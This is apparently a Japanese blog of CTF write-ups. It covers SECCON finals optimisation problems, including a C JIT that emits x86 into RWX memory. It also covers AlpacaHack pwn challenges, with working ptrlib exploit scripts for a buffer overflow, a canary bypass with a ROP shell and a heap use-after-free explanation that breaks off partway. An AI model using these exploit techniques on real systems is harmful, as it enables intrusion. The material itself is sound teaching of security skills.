OP_UNKNOWN; } /* ジャンプ命令のパッチ情報 */ typedef struct { int patch_offset; // コードバッファ内でジャンプ先の相対オフセットを書き込む位置 int target_vm; // ジャンプ先のVM命令番号 } JumpPatch; /* マシンコード生成用バッファ */ typedef struct { unsigned char *buf; size_t capacity; size_t size; } CodeBuffer; void initCodeBuffer(CodeBuffer *cb, size_t capacity) { cb->buf = malloc(capacity); if (!cb->buf) { perror("malloc"); exit(1); } cb->capacity = capacity; cb->size = 0; } void freeCodeBuffer(CodeBuffer *cb) { free(cb->buf); } void emit_byte(CodeBuffer *cb, unsigned char byte) { if (cb->size + 1 > cb->capacity) { fprintf(stderr, "Code buffer overflow\n"); exit(1); } cb->buf[cb->size++] = byte; } void emit_int32(CodeBuffer *cb, int value) { if (cb->size + 4 > cb->capacity) { fprintf(stderr, "Code buffer overflow\n"); exit(1); } memcpy(cb->buf + cb->size, &value, 4); cb->size += 4; } /* 十分なコード領域（バッファサイズ）を確保 */ #define CODE_BUF_SIZE (4096*4) int main(void) { char line[MAX_LINE]; Instruction *prog = malloc(sizeof(Instruction) * INITIAL_PROG_SIZE); if (!prog) { fprintf(stderr, "Memory allocation failed\n"); return 1; } int progSize = INITIAL_PROG_SIZE; int progCount = 0; /* 入力からVM命令をパース */ while(fgets(line, sizeof(line), stdin)) { line[strcspn(line, "\r\n")] = '\0'; if(strcmp(line, "__EOF__") == 0) { break; } if(strlen(line) == 0) { continue; } char opcodeStr[16]; char argsStr[128] = {0}; if(sscanf(line, "%15s %[^\n]", opcodeStr, argsStr) < 1) { continue; } Instruction inst; inst.opcode = parseOpcode(opcodeStr); inst.arg_count = 0; if(strlen(argsStr) > 0) { char *token = strtok(argsStr, ","); while(token != NULL && inst.arg_count < 3) { while(*token == ' ') token++; char *end = token + strlen(token) - 1; while(end > token && (*end == ' ')) { *end = '\0'; end--; } inst.args[inst.arg_count] = strtoull(token, NULL, 10); inst.arg_count++; token = strtok(NULL, ","); } } if(progCount >= progSize) { progSize *= 2; prog = realloc(prog, sizeof(Instruction) * progSize); if (!prog) { fprintf(stderr, "Memory allocation failed\n"); return 1; } } prog[progCount++] = inst; } /* レジスタファイル R0～R9 の初期化 */ unsigned int R[10] = {0}; /* mmapで実行可能なRWX領域を確保 */ void *code_mem = mmap(NULL, CODE_BUF_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); if (code_mem == MAP_FAILED) { perror("mmap"); free(prog); return 1; } CodeBuffer cb; cb.buf = (unsigned char*)code_mem; cb.capacity = CODE_BUF_SIZE; cb.size = 0; /* 各VM命令に対応するコードバッファ内のオフセットを記録 */ int *labels = calloc(progCount, sizeof(int)); if (!labels) { perror("calloc"); free(prog); munmap(code_mem, CODE_BUF_SIZE); return 1; } /* “i番目の命令が終了したら (pc=i+1)” を実現するため、 i+1 の先頭アドレスも飛べるようにしたい。 i+1 == progCount の場合は「ret」を入れて終了にする。 */ int *labelsNext = calloc(progCount, sizeof(int)); // 次命令(i+1)ラベル用 /* ジャンプ命令のパッチ情報: - 条件が成立したときのtargetジャンプ - (OP7/OP8 の場合) 条件不成立の fallback ジャンプ (i+1) - (OP1～OP6など) 処理後の pc++ ジャンプ (i+1) - (OP9 の場合) 無条件ジャンプ先 */ // 仮に「命令ごとに最大2つのジャンプパッチがありうる」として十分なサイズを確保 JumpPatch *patches = calloc(progCount * 2, sizeof(JumpPatch)); int patchCount = 0; /* マシンコード生成: 1. 各VM命令の先頭ラベルを記録(labels[i] = cb.size) 2. 命令に対応するマシンコードを生成 3. （OP7/OP8/OP9等でターゲットがある場合は jump命令 + パッチ） 4. それ以外＆OP7/OP8で条件が成立しなかった場合に備えて i+1 へ飛ぶ命令を生成 （i+1 >= progCount なら ret） */ for (int i = 0; i < progCount; i++) { labels[i] = cb.size; // このVM命令開始位置 Instruction inst = prog[i]; int nextIndex = i + 1; // ========== まず、この命令本来の処理を生成 ========== switch(inst.opcode) { case OP_1: { // R[arg0] = immediate (arg1) if(inst.arg_count == 2) { int reg = (int)inst.args[0]; int imm = (int)inst.args[1]; // mov eax, imm → B8 imm32 emit_byte(&cb, 0xB8); emit_int32(&cb, imm); // mov [rdi + reg*4], eax → 89 87 disp32 emit_byte(&cb, 0x89); emit_byte(&cb, 0x87); int disp = reg * 4; emit_int32(&cb, disp); } break; } case OP_2: { // R[arg0] = R[arg1] if(inst.arg_count == 2) { int dest = (int)inst.args[0]; int src = (int)inst.args[1]; // mov eax, [rdi + src*4] → 8B 87 disp32 emit_byte(&cb, 0x8B); emit_byte(&cb, 0x87); int disp = src * 4; emit_int32(&cb, disp); // mov [rdi + dest*4], eax → 89 87 disp32 emit_byte(&cb, 0x89); emit_byte(&cb, 0x87); disp = dest * 4; emit_int32(&cb, disp); } break; } case OP_3: { // R[arg0] = R[arg0] + R[arg1] if(inst.arg_count == 2) { int reg0 = (int)inst.args[0]; int reg1 = (int)inst.args[1]; // mov eax, [rdi + reg0*4] emit_byte(&cb, 0x8B); emit_byte(&cb, 0x87); int disp = reg0 * 4; emit_int32(&cb, disp); // add eax, [rdi + reg1*4] → 03 87 disp32 emit_byte(&cb, 0x03); emit_byte(&cb, 0x87); disp = reg1 * 4; emit_int32(&cb, disp); // mov [rdi + reg0*4], eax emit_byte(&cb, 0x89); emit_byte(&cb, 0x87); disp = reg0 * 4; emit_int32(&cb, disp); } break; } case OP_4: { // R[arg0] = R[arg0] - R[arg1] if(inst.arg_count == 2) { int reg0 = (int)inst.args[0]; int reg1 = (int)inst.args[1]; // mov eax, [rdi + reg0*4] emit_byte(&cb, 0x8B); emit_byte(&cb, 0x87); int disp = reg0 * 4; emit_int32(&cb, disp); // sub eax, [rdi + reg1*4] → 2B 87 disp32 emit_byte(&cb, 0x2B); emit_byte(&cb, 0x87); disp = reg1 * 4; emit_int32(&cb, disp); // mov [rdi + reg0*4], eax emit_byte(&cb, 0x89); emit_byte(&cb, 0x87); disp = reg0 * 4; emit_int32(&cb, disp); } break; } case OP_5: { // R[arg0] = R[arg0] * R[arg1] if(inst.arg_count == 2) { int reg0 = (int)inst.args[0]; int reg1 = (int)inst.args[1]; // mov eax, [rdi + reg0*4] emit_byte(&cb, 0x8B); emit_byte(&cb, 0x87); int disp = reg0 * 4; emit_int32(&cb, disp); // imul eax, [rdi + reg1*4] → 0F AF 87 disp32 emit_byte(&cb, 0x0F); emit_byte(&cb, 0xAF); emit_byte(&cb, 0x87); disp = reg1 * 4; emit_int32(&cb, disp); // mov [rdi + reg0*4], eax emit_byte(&cb, 0x89); emit_byte(&cb, 0x87); disp = reg0 * 4; emit_int32(&cb, disp); } break; } case OP_6: { // R[arg0] = R[arg0] / R[arg1] (整数除算) if(inst.arg_count == 2) { int reg0 = (int)inst.args[0]; int reg1 = (int)inst.args[1]; // mov eax, [rdi + reg0*4] emit_byte(&cb, 0x8B); emit_byte(&cb, 0x87); int disp = reg0 * 4; emit_int32(&cb, disp); // xor edx, edx → 31 D2 emit_byte(&cb, 0x31); emit_byte(&cb, 0xD2); // mov ecx, [rdi + reg1*4] → 8B 8F disp32 emit_byte(&cb, 0x8B); emit_byte(&cb, 0x8F); disp = reg1 * 4; emit_int32(&cb, disp); // div ecx → F7 F9 (edx:eax / ecx) emit_byte(&cb, 0xF7); emit_byte(&cb, 0xF9); // mov [rdi + reg0*4], eax emit_byte(&cb, 0x89); emit_byte(&cb, 0x87); disp = reg0 * 4; emit_int32(&cb, disp); } break; } case OP_7: { // if (R[arg0] == R[arg1]) pc = arg2; else pc++; if(inst.arg_count == 3) { int reg0 = (int)inst.args[0]; int reg1 = (int)inst.args[1]; int target = (int)inst.args[2]; // mov eax, [rdi + reg0*4] emit_byte(&cb, 0x8B); emit_byte(&cb, 0x87); int disp = reg0 * 4; emit_int32(&cb, disp); // cmp eax, [rdi + reg1*4] → 3B 87 disp32 emit_byte(&cb, 0x3B); emit_byte(&cb, 0x87); disp = reg1 * 4; emit_int32(&cb, disp); // je <target_vm> → 0F 84 disp32 emit_byte(&cb, 0x0F); emit_byte(&cb, 0x84); int patch_offset = cb.size; emit_int32(&cb, 0); // 後で相対オフセットをパッチ // 記録 patches[patchCount].patch_offset = patch_offset; patches[patchCount].target_vm = target; patchCount++; } break; } case OP_8: { // if (R[arg0] != R[arg1]) pc = arg2; else pc++; if(inst.arg_count == 3) { int reg0 = (int)inst.args[0]; int reg1 = (int)inst.args[1]; int target = (int)inst.args[2]; // mov eax, [rdi + reg0*4] emit_byte(&cb, 0x8B); emit_byte(&cb, 0x87); int disp = reg0 * 4; emit_int32(&cb, disp); // cmp eax, [rdi + reg1*4] emit_byte(&cb, 0x3B); emit_byte(&cb, 0x87); disp = reg1 * 4; emit_int32(&cb, disp); // jne <target_vm> → 0F 85 disp32 emit_byte(&cb, 0x0F); emit_byte(&cb, 0x85); int patch_offset = cb.size; emit_int32(&cb, 0); // 後でパッチ // 記録 patches[patchCount].patch_offset = patch_offset; patches[patchCount].target_vm = target; patchCount++; } break; } case OP_9: { // pc = arg0; (無条件ジャンプ) if(inst.arg_count == 1) { int target = (int)inst.args[0]; // jmp <target> → E9 disp32 emit_byte(&cb, 0xE9); int patch_offset = cb.size; emit_int32(&cb, 0); // 後でパッチ patches[patchCount].patch_offset = patch_offset; patches[patchCount].target_vm = target; patchCount++; } break; } default: // 不明な命令は何もしない break; } // ========== ここから「pc++」をエミュレートするジャンプを生成 ========== // OP9（無条件ジャンプ）は、上の生成だけで「常に target へ飛ぶ」ので、 // ここで fallback ジャンプを入れてしまうと 2重ジャンプになるためスキップ。 if (inst.opcode == OP_9) { // 何もしない → この命令は終了 // つまり、次の命令へは進まない (pc++しない) continue; } if (nextIndex >= progCount) { // i+1 がプログラム末尾を超えるなら → ここで ret して終了 emit_byte(&cb, 0xC3); // ret } else { // jmp <i+1> → E9 disp32 emit_byte(&cb, 0xE9); int patch_offset = cb.size; emit_int32(&cb, 0); // 後でパッチ patches[patchCount].patch_offset = patch_offset; patches[patchCount].target_vm = nextIndex; patchCount++; } } // 生成コードの末尾に ret を置いておく (念のため) emit_byte(&cb, 0xC3); // ========== ジャンプ先のパッチ ========== // labels[i] が「i番目のVM命令先頭オフセット」 // patches[] に格納された各ジャンプ先 target_vm のラベルを使って // 相対オフセットを埋め込む for (int i = 0; i < patchCount; i++) { int target_vm = patches[i].target_vm; int patch_loc = patches[i].patch_offset; // 「progCount 番外」や「負数」をターゲットにしたら終了動作にしてもよいが、 // ここでは簡単にエラーにしておく if (target_vm < 0 || target_vm > progCount) { // target_vm == progCount なら "終了" として ret へ飛ばす…… // などの処理を入れてもよい fprintf(stderr, "Invalid jump target: %d\n", target_vm); continue; } // ターゲットがプログラム末尾 (== progCount) の場合は // 「ret 相当の場所へ飛ぶ」ようにパッチしてもよい。 // 今回は簡単のため、末尾に emit_byte(&cb, 0xC3) した位置を使うか、 // あるいは独自に「labels[progCount] = cb.size; // ret」みたいに用意してもOK int target_offset; if (target_vm == progCount) { // “末尾の ret” が cb.size-1 と確定しているならそこへ飛ばす // あるいは labels[progCount] を作っておいてそこに飛ばす target_offset = (int)(cb.size - 1); // 仮に末尾1バイトが ret } else { target_offset = labels[target_vm]; } // 相対オフセット = (ジャンプ先) - (この命令の次のアドレス) int rel = target_offset - (patch_loc + 4); memcpy(cb.buf + patch_loc, &rel, 4); } /* 生成したコード領域を関数ポインタにキャストして実行 */ typedef void (*jit_func_t)(unsigned int *); jit_func_t func = (jit_func_t)cb.buf; func(R); /* 最終的なレジスタの状態を出力 */ for (int i = 0; i < 10; i++) { printf("R%d: 0x%08x\n", i, R[i]); } free(prog); free(labelsNext); free(labels); free(patches); munmap(code_mem, CODE_BUF_SIZE); return 0; }
結果的にこれが8チーム中2位ぐらいの点数を出してくれて、大爆死をギリギリ免れることができた。
以下振り返り。この問題については反省する箇所が結構多い。
まず、問題の意図を「オーダーレベルの最適化ができる例に対する高速化ができるか」というものだと誤解してしまい、その部分の最適化のためにgcc経由の比較的大がかりな解法に走ってしまった点が一点。
また、Dockerfile配布もない環境で成功するか分からない方針に固執してしまった点、そこからの切り替えが遅かった点も反省。
一旦mmap解法を出してみて良かったらそれで留める、という判断ができても良かったのではないかと思う。
Round 4
ここからはDay 2の問題。
まずはghidraで読んでみて内容を確認すると、Could not load PyInstaller's embedded PKG archive from the executable (%s)\n のような文字列を確認できた。
どうやらPyInstallerによって生成された実行ファイルのようで、調べてみるとバイナリ中にzlib headerから始まるPyInstallerのpkgファイルと思わしき部分を確認できた。
そこで、Docker内にPyInstallerの実行環境を整備し10、pyi-archive_viewer によって main のバイトコードを読んでChatGPTに渡すと、main が以下のような処理を行っていることが分かった。
import hashlib def crack(data_prefix: bytes, hash_prefix: str, offset: int, f) -> bytes: for c1 in range(256): for c2 in range(256): for c3 in range(256): for c4 in range(256): data = bytes([c1, c2, c3, c4]) h = f(data_prefix + data).hexdigest() if h[offset : offset + len(hash_prefix)] == hash_prefix.lower(): return data if __name__ == "__main__": args = input().split() data_prefix = bytes.fromhex(args[0]) hash_prefix = args[1] offset = int(args[2]) f = hashlib.sha256 if len(args) > 3: if args[3] == 'md5': f = hashlib.md5 elif args[3] == 'sha512': f = hashlib.sha512 print(crack(data_prefix, hash_prefix, offset, f).hex())
hash(data_pref + ABCD)[offset:offset+hash_pref] == hash_pref となるような ABCD を求める問題であり、一メモ化などによる高速化のしようが無いように見える。
打つ手がないのでとりあえずChatGPTにCのアルゴリズムを書いてもらい11提出するとそこそこいい順位が取れたので、それで終了した。
ちなみに、想定は並列化とOpenSSLを使うものだったらしい。前日のgccで痛い目を見たこともありpureなC以外は書かず難しいこともしないという意思があったため、そこまでできないのはまあしょうがなかったのではないかと思う。
sshやDockerなどでリモートの実行環境をもっと詳しく確認できれば（＋さらに余力があれば）色々やる余地があったと思うので、実行環境に近いサンドボックスやコードテスト環境があれば嬉しかったなあと思わなくもない12。
Round 5
Ghidraでデコンパイルしたmainの中身がこんな感じ。
undefined8 main(void) { int iVar1; undefined8 uVar2; long in_FS_OFFSET; ulong local_58; undefined8 local_50; ulong local_48; ulong local_40; ulong local_38; ulong local_30; ulong local_28; ulong local_20; long local_18; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); local_18 = luaL_newstate(); if (local_18 == 0) { uVar2 = 1; } else { iVar1 = luaL_loadbufferx(local_18,&bytecode,0xfffffffff2e80000,"embedded",0); if ((iVar1 == 0) && (iVar1 = lua_pcallk(local_18,0,0xffffffff,0,0,0), iVar1 == 0)) { __isoc99_scanf(&%lu,&local_58); lua_getglobal(local_18,&G); lua_getglobal(local_18,&F); lua_getglobal(local_18,&F); lua_createtable(local_18,local_58 & 0xffffffff,0); for (local_48 = 0; local_48 < local_58; local_48 = local_48 + 1) { lua_createtable(local_18,local_58 & 0xffffffff,0); for (local_40 = 0; local_40 < local_58; local_40 = local_40 + 1) { __isoc99_scanf(&%lld,&local_50); lua_pushinteger(local_18,local_50); lua_rawseti(local_18,0xfffffffe,local_40 + 1); } lua_rawseti(local_18,0xfffffffe,local_48 + 1); } lua_createtable(local_18,local_58 & 0xffffffff,0); for (local_38 = 0; local_38 < local_58; local_38 = local_38 + 1) { lua_createtable(local_18,local_58 & 0xffffffff,0); for (local_30 = 0; local_30 < local_58; local_30 = local_30 + 1) { __isoc99_scanf(&%lld,&local_50); lua_pushinteger(local_18,local_50); lua_rawseti(local_18,0xfffffffe,local_30 + 1); } lua_rawseti(local_18,0xfffffffe,local_38 + 1); } iVar1 = lua_pcallk(local_18,2,1,0,0,0); if (iVar1 == 0) { lua_pushvalue(local_18,0xffffffff); iVar1 = lua_pcallk(local_18,2,1,0,0,0); if ((iVar1 == 0) && (iVar1 = lua_pcallk(local_18,1,1,0,0,0), iVar1 == 0)) { for (local_28 = 0; local_28 < local_58; local_28 = local_28 + 1) { lua_rawgeti(local_18,0xffffffff,local_28 + 1); putchar(0x5b); for (local_20 = 0; local_20 < local_58; local_20 = local_20 + 1) { lua_rawgeti(local_18,0xffffffff,local_20 + 1); if (local_20 == local_58 - 1) { uVar2 = lua_tointegerx(local_18,0xffffffff,0); printf("%lld",uVar2); } else { uVar2 = lua_tointegerx(local_18,0xffffffff,0); printf("%lld, ",uVar2); } lua_settop(local_18,0xfffffffe); } puts("]"); lua_settop(local_18,0xfffffffe); } } } } lua_close(local_18); uVar2 = 0; } if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return uVar2; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); }
また他言語に投げるやつか・・・と思いながら bytecode の部分を見てみるとLuaのバイトコードがそのまま置いてあり、それを luac5.4 -l -l lua_bytecode でdisassembleしてから例によってChatGPTに読んでもらうと、どうやら行列積演算のvariantのような処理を行っているらしいということが分かった。
まずはCへの移植を行い、その後はループで処理されている単純な足し算を掛け算に置き換えて から
に高速化した。
そこからはキャッシュラインを意識して行列を転置したり行列の再確保を行わないようにしたりという細々とした最適化を行い、最終的にはそこそこの順位でフィニッシュすることができた。
#include <stdio.h> #include <stdlib.h> /* 行列の転置（1次元配列として連続確保された n×n 行列）をインプレースで実施 */ void inplace_transpose(int n, long long *M) { for (int i = 0; i < n; i++) { for (int j = i + 1; j < n; j++) { long long temp = M[i * n + j]; M[i * n + j] = M[j * n + i]; M[j * n + i] = temp; } } } /* 行列 B の転置を buf にコピーする */ void transpose_copy(int n, const long long *B, long long *buf) { for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { buf[j * n + i] = B[i * n + j]; } } } /* 行列積を計算する関数 ・A, B, C はそれぞれ連続確保された n×n 行列（1次元配列） ・buf は B の転置を一時保存するためのバッファ */ void matmul(int n, const long long *A, const long long *B, long long *C, long long *buf) { // B の転置を buf にコピー transpose_copy(n, B, buf); for (int i = 0; i < n; i++) { for (int j = 0; j < n; j++) { long long sum = 0; for (int k = 0; k < n; k++) { sum += A[i * n + k] * buf[j * n + k]; } C[i * n + j] = sum; } } } /* 行列を指定形式で出力 */ void print_matrix(int n, const long long *M) { for (int i = 0; i < n; i++) { printf("["); for (int j = 0; j < n; j++) { printf("%lld", M[i * n + j]); if (j < n - 1) { printf(", "); } } printf("]\n"); } } int main(void) { int n; if (scanf("%d", &n) != 1) { fprintf(stderr, "行列サイズの読み込みに失敗\n"); return EXIT_FAILURE; } // 入力用行列 A, B、中間計算用行列 X、転置用一時バッファ buf の4つを確保 long long *A = malloc(n * n * sizeof(long long)); long long *B = malloc(n * n * sizeof(long long)); long long *X = malloc(n * n * sizeof(long long)); long long *buf = malloc(n * n * sizeof(long long)); if (!A || !B || !X || !buf) { fprintf(stderr, "メモリ確保失敗\n"); exit(EXIT_FAILURE); } // 行列 A の読み込み for (int i = 0; i < n * n; i++) { if (scanf("%lld", &A[i]) != 1) { fprintf(stderr, "行列 A の読み込みに失敗\n"); return EXIT_FAILURE; } } // 行列 B の読み込み for (int i = 0; i < n * n; i++) { if (scanf("%lld", &B[i]) != 1) { fprintf(stderr, "行列 B の読み込みに失敗\n"); return EXIT_FAILURE; } } matmul(n, A, B, X, buf); matmul(n, X, X, B, buf); inplace_transpose(n, B); print_matrix(n, B); return 0; }
想定解はSIMDだったらしい。 まあ確かにそうだなあと思いつつも、やっぱり変なことをしてエラー落ちのまま点を落としてしまうのは怖いのであまり思い切ったことはできなかった。
Round 6
コンテスト残り数時間でHardware問の挑戦権も残っている上に解きたい問題を抱えており、一瞬で高速化のネタが浮かぶようなものでもなかったため手を付けずに撤退。
- 実は非想定だったらしい。↩
-
RITE0300\x00\x05...のような感じでそのままバイトコードになっていたのだが、最初に見たときはnull文字で区切れているせいで先頭8文字の存在にしか気づけなかった。そのまま何も分からないまま数時間が経過し、初日の夜にもやし先輩に指摘して頂き初めて気づいた。大反省・・・↩ - 今回が初めての決勝進出なので実機を触るHardware問も初めて。コンテスト開始直前に現物が配布されたときはかなりワクワクした。↩
- challnge roomは問題ページを介した事前予約制になっていた。BunkyoWesternsなどのSECCON慣れしているっぽいチームが爆速で両日分のできる限り遅いtime windowを確保していて流石。↩
- スタッフの人たちに「こいつら何も説明読まないまま来ちゃったんだろうな・・・」と思われる感じのムーブをしていて、今思い返すとちょっと恥ずかしい。↩
- 環境構築やドライバのインストール、シリアル出力のボーレート設定など↩
- 一部ピンはHigh/Lowのどちらでもよい↩
- 慣れているチームは最速で最後のtime windowを取りに行っていたため、結果的に予約枠取りバトルで出遅れた我々がいち早くフラグを提出することになった。↩
- うろ覚えなのでもしかしたら違うところがあるかも↩
- 配布バイナリがPython3.12 (glibc 2.38) のもので環境構築に手間取ってしまった。そろそろUbuntu 22.04をやめるべきな気がする。↩
- 合計で600行ぐらいあるmd5/sha256/sha512のコードを一瞬で出してくれた。↩
- Rulesのところにめちゃくちゃ詳しく書いてあるのを見落としているだけだったらすみません・・・↩
AlpacaHack Round 1 (Pwn) writeups
2024/8/18 12:00-18:00に行われた AlpacaHack Round 1 (Pwn) のwriteup。
echo (56 solves)
Cのソースコードが渡されるオーソドックスなPwn問。ソースコードは以下の通りで、Canaryなし、PIE無効。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 /* Call this function! */ void win() { char *args[] = {"/bin/cat", "/flag.txt", NULL}; execve(args[0], args, NULL); exit(1); } int get_size() { // Input size int size = 0; scanf("%d%*c", &size); // Validate size if ((size = abs(size)) > BUF_SIZE) { puts("[-] Invalid size"); exit(1); } return size; } void get_data(char *buf, unsigned size) { unsigned i; char c; // Input data until newline for (i = 0; i < size; i++) { if (fread(&c, 1, 1, stdin) != 1) break; if (c == '\n') break; buf[i] = c; } buf[i] = '\0'; } void echo() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data: "); get_data(buf, size); // Show data printf("Received: %s\n", buf); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); echo(); return 0; }
win 関数が置いてあり main 内の char buf[BUF_SIZE] への書き込みが行えることからバッファオーバーランを狙いたい。
書き込みできる文字数は get_size() 内で計算しており、ここの脆弱性を探す形になる。
get_data() 内では unsigned を使っているのにも関わらず get_size() の返り値が int なことから、get_size() の返り値を任意の負数にすることで文字を好きなだけ書き込める。
しかし、size = abs(size) で入力の絶対値を計算しているため、一見した限りだと負の数は万全にケアされているように思える。
この関数の脆弱性は size = abs(size) の部分。32bitの符号付き整数で表現できる範囲は [-2147483648, 2147483647] であり、-2147483648 = 0x80000000 を abs の引数として与えるとその返り値は -2147483648 となる。
したがって、sizeにこの値を入力してからバッファーオーバーフローを起こして win 関数へと飛ぶことでフラグが得られる。
from ptrlib import * # p = Process("./echo") p = Socket('***', ***) e = ELF('./echo') input() p.sendlineafter('Size: ', -2147483648) p.sendlineafter('Data: ', b'A' * 280 + p64(e.symbol('win'))) p.interactive()
hexecho (27 solves)
前問のhex版。ソースコードは以下の通りで、防御機構にはStack Canaryが追加されている。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> #define BUF_SIZE 0x100 int get_size() { int size = 0; scanf("%d%*c", &size); return size; } void get_hex(char *buf, unsigned size) { for (unsigned i = 0; i < size; i++) scanf("%02hhx", buf + i); } void hexecho() { int size; char buf[BUF_SIZE]; // Input size printf("Size: "); size = get_size(); // Input data printf("Data (hex): "); get_hex(buf, size); // Show data printf("Received: "); for (int i = 0; i < size; i++) printf("%02hhx ", (unsigned char)buf[i]); putchar('\n'); } int main() { setbuf(stdin, NULL); setbuf(stdout, NULL); hexecho(); return 0; }
get_size() から abs が消えているため、特に工夫せずとも任意の長さの入力を与えられるようになった。入力は scanf("%02hhx", buf + i) の形で行う必要がある。
プログラムが入力→出力→終了という構造をしており、出力によって得られた情報を入力に使えないため、どうにかして入力を繰り返し行えるようにしたい。
一番考えられる方法がバッファーオーバーフローによるリターンアドレスの書き換えだが、stack canaryが有効であるため、stack canaryの部分を読み飛ばしてその後の領域に書き込むようなペイロードを設計する必要がある。
実験をしてみると、z や \0 などのhexとして解釈不可能な文字を入力した場合、その文字以降の任意の文字が無視されてしまうことがわかった。
そのため、hexとして解釈可能な文字であり、うまく読み飛ばしてくれるものを探す。
実験しながら調べていると、+ がこの条件を満たすことが分かった。具体的には、+ を 回入力した後に適当な1バイトを表すhex（
22 など）を入力してあげると、先頭 バイトを飛ばして書き込みができることを発見した。
したがって、この方法を用いて先頭から一定バイトを読み飛ばした後、リターンアドレスに main のアドレスを指定してあげることで、出力の読み込みと再入力が可能になる。
このときに得られたバイト列の中には libc のアドレスの情報も入っているため、そこからlibc leakして先ほどと同様の方法でROPを行うことによりshellを奪取でき、フラグが得られる。
from ptrlib import * p = Socket('34.170.146.252', 51786) e = ELF('./hexecho_patched') libc = ELF('./libc.so.6') def to_hex(addr): print(hex(addr)) h = p64(addr).hex() return ' '.join([h[i:i+2] for i in range(0, len(h), 2)]) p.sendlineafter('Size: ', 280 + 16) p.recvuntil('Data (hex): ') for i in range(279): p.send(b'+') p.send('22 ') p.sendline(to_hex(next(e.gadget('ret;')))) p.sendline(to_hex(e.symbol('main'))) recv = p.recvlineafter('Received: ').split() idx = recv.index(b'7f') ofs = int(b''.join(recv[idx-5:idx+1][::-1]).decode(), 16) libc.base = ofs - 0x7f7117a5c780 + 0x7f7117841000 p.sendlineafter('Size: ', 280 + 8 * 4) p.recvuntil('Data (hex): ') for i in range(279): p.send(b'+') p.send('22 ') p.sendline(to_hex(next(e.gadget('ret;')))) p.sendline(to_hex(next(libc.gadget('pop rdi; ret;')))) p.sendline(to_hex(next(libc.find(b'/bin/sh')))) p.sendline(to_hex(libc.symbol('system'))) r = p.recvlineafter('Received: ') p.interactive()
todo (5 solves)
C++のバイナリが渡される問題。最初はdeckより手前側に置いてあったはずなのだが、気づいたら解いた人数が逆転して最終問題になっていた。
ソースコードは以下の通りで、防御機構はだいたい全部あり。
#include <iostream> #include <vector> int main() { size_t choice, index; std::string todo; std::vector<std::string> todo_list; std::cin.rdbuf()->pubsetbuf(nullptr, 0); std::cout.rdbuf()->pubsetbuf(nullptr, 0); std::cout << "1. add" << std::endl << "2. show" << std::endl << "3. edit" << std::endl << "4. delete" << std::endl; while (std::cin.good()) { std::cout << "> "; std::cin >> choice; switch (choice) { case 1: // add std::cout << "TODO: "; std::cin.ignore(); std::getline(std::cin, todo); todo_list.emplace_back(todo); break; case 2: // show std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } std::cout << "TODO: " << todo_list[index] << std::endl; break; case 3: // edit std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } std::cout << "TODO: "; std::cin.ignore(); std::getline(std::cin, todo_list[index]); break; case 4: // delete std::cout << "Index: "; std::cin >> index; if (index >= todo_list.capacity()) { std::cout << "[-] Invalid index" << std::endl; break; } todo_list.erase(todo_list.begin() + index); break; default: return 0; } } return 0; }
std::vector<std::string> 型の配列 todo_list に読み書きと編集ができる単純なメモアプリ。
この問題の脆弱性はout of range判定が todo_list.capacity() と比較されていること。std::vector の要素数を求める関数は vec.size() であり、vec.capacity() が返すのは内部で確保しているメモリが何要素分を表すかの情報になっている。std::vector は要素の削除だけではメモリの縮小方向へのリサイズは行わないため1、たとえ一度作成した要素を削除したとしても、その要素の元々のindexを指定してアクセスすることでデータへの読み書きが可能となってしまう。
本問題はC++のSTLへの知識が必要であるため、std::vector と std::string の構造の簡単な解説をここに載せておく。詳細な解説が欲しい方は この記事 を参照してほしい。
std::vector は8バイトのポインタ3つからなる構造体であり、3つのポインタはそれぞれデータの始点・データの終点・確保領域の終点を表している。データの終点が size を、確保領域の終点が capacity をそれぞれ表すことになる。
std::vector の宣言時点ではこれらのポインタは 0x0 を指すが、要素追加のタイミングで malloc により領域が確保され、各ポインタが更新される。要素数が増えて領域が不足した場合はメモリを再確保して対応する。
std::string は24バイトの構造体で、先頭にデータへのポインタ、その次にデータのサイズが格納される。文字列長が 0x10 バイト未満のときはその後の16バイト分の領域に文字列が保存されるが、文字列がそれより長い場合は malloc によって確保されたヒープ領域にデータが保存されることになる。
この問題では、一定サイズ以上の std::string がデータをヒープ領域に持つこと、deleteによって一度解放した std::string を読み書きできることからheap exploitが起こせる。
一度freeされたヒープ領域（チャンク）はそのサイズと状態によっていくつか存在するbinsのどれかに格納される。各binは単方向リストや双方向リストなどで管理されており、そのリストの結合先をうまく読み書きすることで情報取得や任意アドレスへの読み書きを行う、というのがheap exploitの概要である 2。
サイズが一定の範囲に収まるチャンクはfree時に unsortedbin に格納され、再利用の機会を待つことになる。unsortedbin は双方向連結リストであり、unsortedbin に放り込まれたチャンクは main_arena.top に繋がる。main_arena はlibc内の特定領域に格納されているため、main_arena のアドレスを得ることでlibc自体が配置されているアドレスも得られる。
したがって、適切なサイズの領域を確保→解放して unsortedbin に挿入し、その領域の中身を読み込むことで、libcのアドレスを得ることができる。
今回の場合、"A" * 0x1000 をメモに追加した後にそれをdelete→showすることでで目的が達成できる。
次に、任意アドレス読み込みのための準備を行う。まずはヒープ領域に存在する todo_list[i] のアドレスをleakする。
先ほどと同様にdeleteした文字列へのshowを行うと、todo_list の任意の要素が格納している文字列自体のアドレスを得ることができる。これは todo_list[i].data のアドレスであり todo_list[i] そのもののアドレスとは異なるが、これら2つは同じヒープ領域内の近い箇所に存在しており、その位置の差も実行毎に変化しないため、適当にオフセットを取ることで todo_list[i] のアドレスも得られる。
このアドレスはsafe-linkingと呼ばれる機構によって暗号化されているが、safe-linkingに用いているkey自体もdelete→showによってleakできてしまうため、この暗号化は問題なくバイパスできる。
ここから tcachebins を書き換えて任意アドレス読み込みを行う。
tcachebins は小さいチャンクが格納されるbinsであり、チャンクサイズごとに単方向連結リストで管理されている。
